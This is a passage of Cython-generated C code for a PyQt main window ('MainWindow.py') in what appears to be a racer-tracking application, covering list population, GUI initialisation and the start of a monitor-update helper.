__PYX_ERR(0, 228, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_7)) { PyObject *__pyx_temp[2] = {__pyx_t_6, __pyx_v_item}; __pyx_t_2 = __Pyx_PyFunction_FastCall(__pyx_t_7, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 228, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_2); } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_7)) { PyObject *__pyx_temp[2] = {__pyx_t_6, __pyx_v_item}; __pyx_t_2 = __Pyx_PyCFunction_FastCall(__pyx_t_7, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 228, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_2); } else #endif { __pyx_t_9 = PyTuple_New(1+1); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 228, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_9, 0, __pyx_t_6); __pyx_t_6 = NULL; __Pyx_INCREF(__pyx_v_item); __Pyx_GIVEREF(__pyx_v_item); PyTuple_SET_ITEM(__pyx_t_9, 0+1, __pyx_v_item); __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_7, __pyx_t_9, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 228, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } } __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "MainWindow.py":222 * * def initGuiConcurrents(self): * for id in Globals.racerList: # <<<<<<<<<<<<<< * i = Globals.racerList[id] * item = QtWidgets.QListWidgetItem() */ } __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "MainWindow.py":229 * item.setFont( Globals.C_listFont ) * self.L_racerlist.addItem(item) * title = "%s (%d)"%(QtCore.QCoreApplication.translate("MainWindow", "Concurrents"), self.L_racerlist.count()) # <<<<<<<<<<<<<< * self.Tab_Container.setTabText(self.Tab_Container.indexOf(self.T_Racer), title) * */ __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtCore); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 229, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_QCoreApplication); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 229, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_translate); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 229, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_tuple__12, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 229, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_L_racerlist); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 229, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_count); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 229, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_9))) { __pyx_t_7 = PyMethod_GET_SELF(__pyx_t_9); if (likely(__pyx_t_7)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_9); __Pyx_INCREF(__pyx_t_7); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_9, function); } } if (__pyx_t_7) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_9, __pyx_t_7); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 229, __pyx_L1_error) __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; } else { __pyx_t_1 = __Pyx_PyObject_CallNoArg(__pyx_t_9); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 229, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __pyx_t_9 = PyTuple_New(2); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 229, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_9, 0, __pyx_t_2); __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_9, 1, __pyx_t_1); __pyx_t_2 = 0; __pyx_t_1 = 0; __pyx_t_1 = PyUnicode_Format(__pyx_kp_u_s_d, __pyx_t_9); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 229, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __pyx_v_title = ((PyObject*)__pyx_t_1); __pyx_t_1 = 0; /* "MainWindow.py":230 * self.L_racerlist.addItem(item) * title = "%s (%d)"%(QtCore.QCoreApplication.translate("MainWindow", "Concurrents"), self.L_racerlist.count()) * self.Tab_Container.setTabText(self.Tab_Container.indexOf(self.T_Racer), title) # <<<<<<<<<<<<<< * * def initGui(self): */ __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_Tab_Container); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 230, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_9, __pyx_n_s_setTabText); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 230, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_Tab_Container); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 230, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_indexOf); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 230, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_T_Racer); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 230, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_10 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_6))) { __pyx_t_10 = PyMethod_GET_SELF(__pyx_t_6); if (likely(__pyx_t_10)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); __Pyx_INCREF(__pyx_t_10); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_6, function); } } if (!__pyx_t_10) { __pyx_t_9 = __Pyx_PyObject_CallOneArg(__pyx_t_6, __pyx_t_7); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 230, __pyx_L1_error) __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_GOTREF(__pyx_t_9); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_6)) { PyObject *__pyx_temp[2] = {__pyx_t_10, __pyx_t_7}; __pyx_t_9 = __Pyx_PyFunction_FastCall(__pyx_t_6, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 230, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_10); __pyx_t_10 = 0; __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_6)) { PyObject *__pyx_temp[2] = {__pyx_t_10, __pyx_t_7}; __pyx_t_9 = __Pyx_PyCFunction_FastCall(__pyx_t_6, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 230, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_10); __pyx_t_10 = 0; __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; } else #endif { __pyx_t_8 = PyTuple_New(1+1); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 230, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_8); __Pyx_GIVEREF(__pyx_t_10); PyTuple_SET_ITEM(__pyx_t_8, 0, __pyx_t_10); __pyx_t_10 = NULL; __Pyx_GIVEREF(__pyx_t_7); PyTuple_SET_ITEM(__pyx_t_8, 0+1, __pyx_t_7); __pyx_t_7 = 0; __pyx_t_9 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_t_8, NULL); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 230, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; } } __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = NULL; __pyx_t_11 = 0; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_2))) { __pyx_t_6 = PyMethod_GET_SELF(__pyx_t_2); if (likely(__pyx_t_6)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); __Pyx_INCREF(__pyx_t_6); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_2, function); __pyx_t_11 = 1; } } #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[3] = {__pyx_t_6, __pyx_t_9, __pyx_v_title}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_2, __pyx_temp+1-__pyx_t_11, 2+__pyx_t_11); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 230, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[3] = {__pyx_t_6, __pyx_t_9, __pyx_v_title}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_2, __pyx_temp+1-__pyx_t_11, 2+__pyx_t_11); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 230, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } else #endif { __pyx_t_8 = PyTuple_New(2+__pyx_t_11); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 230, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_8); if (__pyx_t_6) { __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_8, 0, __pyx_t_6); __pyx_t_6 = NULL; } __Pyx_GIVEREF(__pyx_t_9); PyTuple_SET_ITEM(__pyx_t_8, 0+__pyx_t_11, __pyx_t_9); __Pyx_INCREF(__pyx_v_title); __Pyx_GIVEREF(__pyx_v_title); PyTuple_SET_ITEM(__pyx_t_8, 1+__pyx_t_11, __pyx_v_title); __pyx_t_9 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_t_8, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 230, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; } __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "MainWindow.py":221 * Globals.racerList[ Globals.C_concurrents_ID_fmt%( c['id'] )] = c * * def initGuiConcurrents(self): # <<<<<<<<<<<<<< * for id in Globals.racerList: * i = Globals.racerList[id] */ /* function exit code */ __pyx_r = Py_None; __Pyx_INCREF(Py_None); goto __pyx_L0; __pyx_L1_error:; __Pyx_XDECREF(__pyx_t_1); __Pyx_XDECREF(__pyx_t_2); __Pyx_XDECREF(__pyx_t_5); __Pyx_XDECREF(__pyx_t_6); __Pyx_XDECREF(__pyx_t_7); __Pyx_XDECREF(__pyx_t_8); __Pyx_XDECREF(__pyx_t_9); __Pyx_XDECREF(__pyx_t_10); __Pyx_AddTraceback("MainWindow.MainWindow.initGuiConcurrents", __pyx_clineno, __pyx_lineno, __pyx_filename); __pyx_r = NULL; __pyx_L0:; __Pyx_XDECREF(__pyx_v_id); __Pyx_XDECREF(__pyx_v_i); __Pyx_XDECREF(__pyx_v_item); __Pyx_XDECREF(__pyx_v_title); __Pyx_XGIVEREF(__pyx_r); __Pyx_RefNannyFinishContext(); return __pyx_r; } /* "MainWindow.py":232 * self.Tab_Container.setTabText(self.Tab_Container.indexOf(self.T_Racer), title) * * def initGui(self): # <<<<<<<<<<<<<< * self.t_ville = T_Ville() * self.initGuiPays() */ /* Python wrapper */ static PyObject *__pyx_pw_10MainWindow_10MainWindow_33initGui(PyObject *__pyx_self, PyObject *__pyx_v_self); /*proto*/ static PyMethodDef __pyx_mdef_10MainWindow_10MainWindow_33initGui = {"initGui", (PyCFunction)__pyx_pw_10MainWindow_10MainWindow_33initGui, METH_O, 0}; static PyObject *__pyx_pw_10MainWindow_10MainWindow_33initGui(PyObject *__pyx_self, PyObject *__pyx_v_self) { PyObject *__pyx_r = 0; __Pyx_RefNannyDeclarations __Pyx_RefNannySetupContext("initGui (wrapper)", 0); __pyx_r = __pyx_pf_10MainWindow_10MainWindow_32initGui(__pyx_self, ((PyObject *)__pyx_v_self)); /* function exit code */ __Pyx_RefNannyFinishContext(); return __pyx_r; } static PyObject *__pyx_pf_10MainWindow_10MainWindow_32initGui(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_self) { PyObject *__pyx_r = NULL; __Pyx_RefNannyDeclarations PyObject *__pyx_t_1 = NULL; PyObject *__pyx_t_2 = NULL; PyObject *__pyx_t_3 = NULL; __Pyx_RefNannySetupContext("initGui", 0); /* "MainWindow.py":233 * * def initGui(self): * self.t_ville = T_Ville() # <<<<<<<<<<<<<< * self.initGuiPays() * self.initGuiMarques() */ __pyx_t_2 = __Pyx_GetModuleGlobalName(__pyx_n_s_T_Ville); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 233, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_3 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_2))) { __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_2); if (likely(__pyx_t_3)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); __Pyx_INCREF(__pyx_t_3); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_2, function); } } if (__pyx_t_3) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 233, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else { __pyx_t_1 = __Pyx_PyObject_CallNoArg(__pyx_t_2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 233, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_t_ville, __pyx_t_1) < 0) __PYX_ERR(0, 233, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "MainWindow.py":234 * def initGui(self): * self.t_ville = T_Ville() * self.initGuiPays() # <<<<<<<<<<<<<< * self.initGuiMarques() * self.initListConcurrents() */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_initGuiPays); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 234, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_3 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_2))) { __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_2); if (likely(__pyx_t_3)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); __Pyx_INCREF(__pyx_t_3); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_2, function); } } if (__pyx_t_3) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 234, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else { __pyx_t_1 = __Pyx_PyObject_CallNoArg(__pyx_t_2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 234, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "MainWindow.py":235 * self.t_ville = T_Ville() * self.initGuiPays() * self.initGuiMarques() # <<<<<<<<<<<<<< * self.initListConcurrents() * self.initGuiConcurrents() */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_initGuiMarques); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 235, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_3 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_2))) { __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_2); if (likely(__pyx_t_3)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); __Pyx_INCREF(__pyx_t_3); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_2, function); } } if (__pyx_t_3) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 235, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else { __pyx_t_1 = __Pyx_PyObject_CallNoArg(__pyx_t_2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 235, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "MainWindow.py":236 * self.initGuiPays() * self.initGuiMarques() * self.initListConcurrents() # <<<<<<<<<<<<<< * self.initGuiConcurrents() * */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_initListConcurrents); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 236, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_3 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_2))) { __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_2); if (likely(__pyx_t_3)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); __Pyx_INCREF(__pyx_t_3); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_2, function); } } if (__pyx_t_3) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 236, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else { __pyx_t_1 = __Pyx_PyObject_CallNoArg(__pyx_t_2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 236, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "MainWindow.py":237 * self.initGuiMarques() * self.initListConcurrents() * self.initGuiConcurrents() # <<<<<<<<<<<<<< * * def updateMonitor(self): */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_initGuiConcurrents); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 237, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_3 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_2))) { __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_2); if (likely(__pyx_t_3)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); __Pyx_INCREF(__pyx_t_3); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_2, function); } } if (__pyx_t_3) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 237, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else { __pyx_t_1 = __Pyx_PyObject_CallNoArg(__pyx_t_2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 237, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "MainWindow.py":232 * self.Tab_Container.setTabText(self.Tab_Container.indexOf(self.T_Racer), title) * * def initGui(self): # <<<<<<<<<<<<<< * self.t_ville = T_Ville() * self.initGuiPays() */ /* function exit code */ __pyx_r = Py_None; __Pyx_INCREF(Py_None); goto __pyx_L0; __pyx_L1_error:; __Pyx_XDECREF(__pyx_t_1); __Pyx_XDECREF(__pyx_t_2); __Pyx_XDECREF(__pyx_t_3); __Pyx_AddTraceback("MainWindow.MainWindow.initGui", __pyx_clineno, __pyx_lineno, __pyx_filename); __pyx_r = NULL; __pyx_L0:; __Pyx_XGIVEREF(__pyx_r); __Pyx_RefNannyFinishContext(); return __pyx_r; } /* "MainWindow.py":239 * self.initGuiConcurrents() * * def updateMonitor(self): # <<<<<<<<<<<<<< * def setLine(self, color, row, column, text): * try: */ /* Python wrapper */ static PyObject *__pyx_pw_10MainWindow_10MainWindow_35updateMonitor(PyObject *__pyx_self, PyObject *__pyx_v_self); /*proto*/ static PyMethodDef __pyx_mdef_10MainWindow_10MainWindow_35updateMonitor = {"updateMonitor", (PyCFunction)__pyx_pw_10MainWindow_10MainWindow_35updateMonitor, METH_O, 0}; static PyObject *__pyx_pw_10MainWindow_10MainWindow_35updateMonitor(PyObject *__pyx_self, PyObject *__pyx_v_self) { PyObject *__pyx_r = 0; __Pyx_RefNannyDeclarations __Pyx_RefNannySetupContext("updateMonitor (wrapper)", 0); __pyx_r = __pyx_pf_10MainWindow_10MainWindow_34updateMonitor(__pyx_self, ((PyObject *)__pyx_v_self)); /* function exit code */ __Pyx_RefNannyFinishContext(); return __pyx_r; } /* "MainWindow.py":240 * * def updateMonitor(self): * def setLine(self, color, row, column, text): # <<<<<<<<<<<<<< * try: * brush = QBrush(color) */ /* Python wrapper */ static PyObject *__pyx_pw_10MainWindow_10MainWindow_13updateMonitor_1setLine(PyObject *__pyx_self, PyObject *__pyx_args, PyObject *__pyx_kwds); /*proto*/ static PyMethodDef __pyx_mdef_10MainWindow_10MainWindow_13updateMonitor_1setLine = {"setLine", (PyCFunction)__pyx_pw_10MainWindow_10MainWindow_13updateMonitor_1setLine, METH_VARARGS|METH_KEYWORDS, 0}; static PyObject *__pyx_pw_10MainWindow_10MainWindow_13updateMonitor_1setLine(PyObject *__pyx_self, PyObject *__pyx_args, PyObject *__pyx_kwds) { PyObject *__pyx_v_self = 0; PyObject *__pyx_v_color = 0; PyObject *__pyx_v_row = 0; PyObject *__pyx_v_column = 0; PyObject *__pyx_v_text = 0; PyObject *__pyx_r = 0; __Pyx_RefNannyDeclarations __Pyx_RefNannySetupContext("setLine (wrapper)", 0); { static PyObject **__pyx_pyargnames[] = {&__pyx_n_s_self,&__pyx_n_s_color,&__pyx_n_s_row,&__pyx_n_s_column,&__pyx_n_s_text,0}; PyObject* values[5] = {0,0,0,0,0}; if (unlikely(__pyx_kwds)) { Py_ssize_t kw_args; const Py_ssize_t pos_args = PyTuple_GET_SIZE(__pyx_args); switch (pos_args) { case 5: values[4] = PyTuple_GET_ITEM(__pyx_args, 4); case 4: values[3] = PyTuple_GET_ITEM(__pyx_args, 3); case 3: values[2] = PyTuple_GET_ITEM(__pyx_args, 2); case 2: values[1] = PyTuple_GET_ITEM(__pyx_args, 1); case 1: values[0] = PyTuple_GET_ITEM(__pyx_args, 0); case 0: break; default: goto __pyx_L5_argtuple_error; } kw_args = PyDict_Size(__pyx_kwds); switch (pos_args) { case 0: if (likely((values[0] = PyDict_GetItem(__pyx_kwds, __pyx_n_s_self)) != 0)) kw_args--; else goto __pyx_L5_argtuple_error; case 1: if (likely((values[1] = PyDict_GetItem(__pyx_kwds, __pyx_n_s_color)) != 0)) kw_args--; else { __Pyx_RaiseArgtupleInvalid("setLine", 1, 5, 5, 1); __PYX_ERR(0, 240, __pyx_L3_error) } case 2: if (likely((values[2] = PyDict_GetItem(__pyx_kwds, __pyx_n_s_row)) != 0)) kw_args--; else { __Pyx_RaiseArgtupleInvalid("setLine", 1, 5, 5, 2); __PYX_ERR(0, 240, __pyx_L3_error) } case 3: if (likely((values[3] = PyDict_GetItem(__pyx_kwds, __pyx_n_s_column)) != 0)) kw_args--; else { __Pyx_RaiseArgtupleInvalid("setLine", 1, 5, 5, 3); __PYX_ERR(0, 240, __pyx_L3_error) } case 4: if (likely((values[4] = PyDict_GetItem(__pyx_kwds, __pyx_n_s_text)) != 0)) kw_args--; else { __Pyx_RaiseArgtupleInvalid("setLine", 1, 5, 5, 4); __PYX_ERR(0, 240, __pyx_L3_error) } } if (unlikely(kw_args > 0)) { if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_pyargnames, 0, values, pos_args, "setLine") < 0)) __PYX_ERR(0, 240, __pyx_L3_error) } } else if (PyTuple_GET_SIZE(__pyx_args) != 5) { goto __pyx_L5_argtuple_error; } else { values[0] = PyTuple_GET_ITEM(__pyx_args, 0); values[1] = PyTuple_GET_ITEM(__pyx_args, 1); values[2] = PyTuple_GET_ITEM(__pyx_args, 2); values[3] = PyTuple_GET_ITEM(__pyx_args, 3); values[4] = PyTuple_GET_ITEM(__pyx_args, 4); } __pyx_v_self = values[0]; __pyx_v_color = values[1]; __pyx_v_row = values[2]; __pyx_v_column = values[3]; __pyx_v_text = values[4]; } goto __pyx_L4_argument_unpacking_done; __pyx_L5_argtuple_error:; __Pyx_RaiseArgtupleInvalid("setLine", 1, 5, 5, PyTuple_GET_SIZE(__pyx_args)); __PYX_ERR(0, 240, __pyx_L3_error) __pyx_L3_error:; __Pyx_AddTraceback("MainWindow.MainWindow.updateMonitor.setLine", __pyx_clineno, __pyx_lineno, __pyx_filename); __Pyx_RefNannyFinishContext(); return NULL; __pyx_L4_argument_unpacking_done:; __pyx_r = __pyx_pf_10MainWindow_10MainWindow_13updateMonitor_setLine(__pyx_self, __pyx_v_self, __pyx_v_color, __pyx_v_row, __pyx_v_column, __pyx_v_text); /* function exit code */ __Pyx_RefNannyFinishContext(); return __pyx_r; } static PyObject *__pyx_pf_10MainWindow_10MainWindow_13updateMonitor_setLine(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_self, PyObject *__pyx_v_color, PyObject *__pyx_v_row, PyObject *__pyx_v_column, PyObject *__pyx_v_text) { PyObject *__pyx_v_brush = NULL; PyObject *__pyx_v_i = NULL; PyObject *__pyx_v_e = NULL; PyObject *__pyx_r = NULL; __Pyx_RefNannyDeclarations PyObject *__pyx_t_1 = NULL; PyObject *__pyx_t_2 = NULL; PyObject *__pyx_t_3 = NULL; PyObject *__pyx_t_4 = NULL; PyObject *__pyx_t_5 = NULL; PyObject *__pyx_t_6 = NULL; PyObject *__pyx_t_7 = NULL; PyObject *__pyx_t_8 = NULL; int __pyx_t_9; int __pyx_t_10; char const *__pyx_t_11; PyObject *__pyx_t_12 = NULL; PyObject *__pyx_t_13 = NULL; PyObject *__pyx_t_14 = NULL; PyObject *__pyx_t_15 = NULL; PyObject *__pyx_t_16 = NULL; PyObject *__pyx_t_17 = NULL; __Pyx_RefNannySetupContext("setLine", 0); /* "MainWindow.py":241 * def updateMonitor(self): * def setLine(self, color, row, column, text): * try: # <<<<<<<<<<<<<< * brush = QBrush(color) * brush.setStyle(QtCore.Qt.SolidPattern) */ { __Pyx_PyThreadState_declare __Pyx_PyThreadState_assign __Pyx_ExceptionSave(&__pyx_t_1, &__pyx_t_2, &__pyx_t_3); __Pyx_XGOTREF(__pyx_t_1); __Pyx_XGOTREF(__pyx_t_2); __Pyx_XGOTREF(__pyx_t_3); /*try:*/ { /* "MainWindow.py":242 * def setLine(self, color, row, column, text): * try: * brush = QBrush(color) # <<<<<<<<<<<<<< * 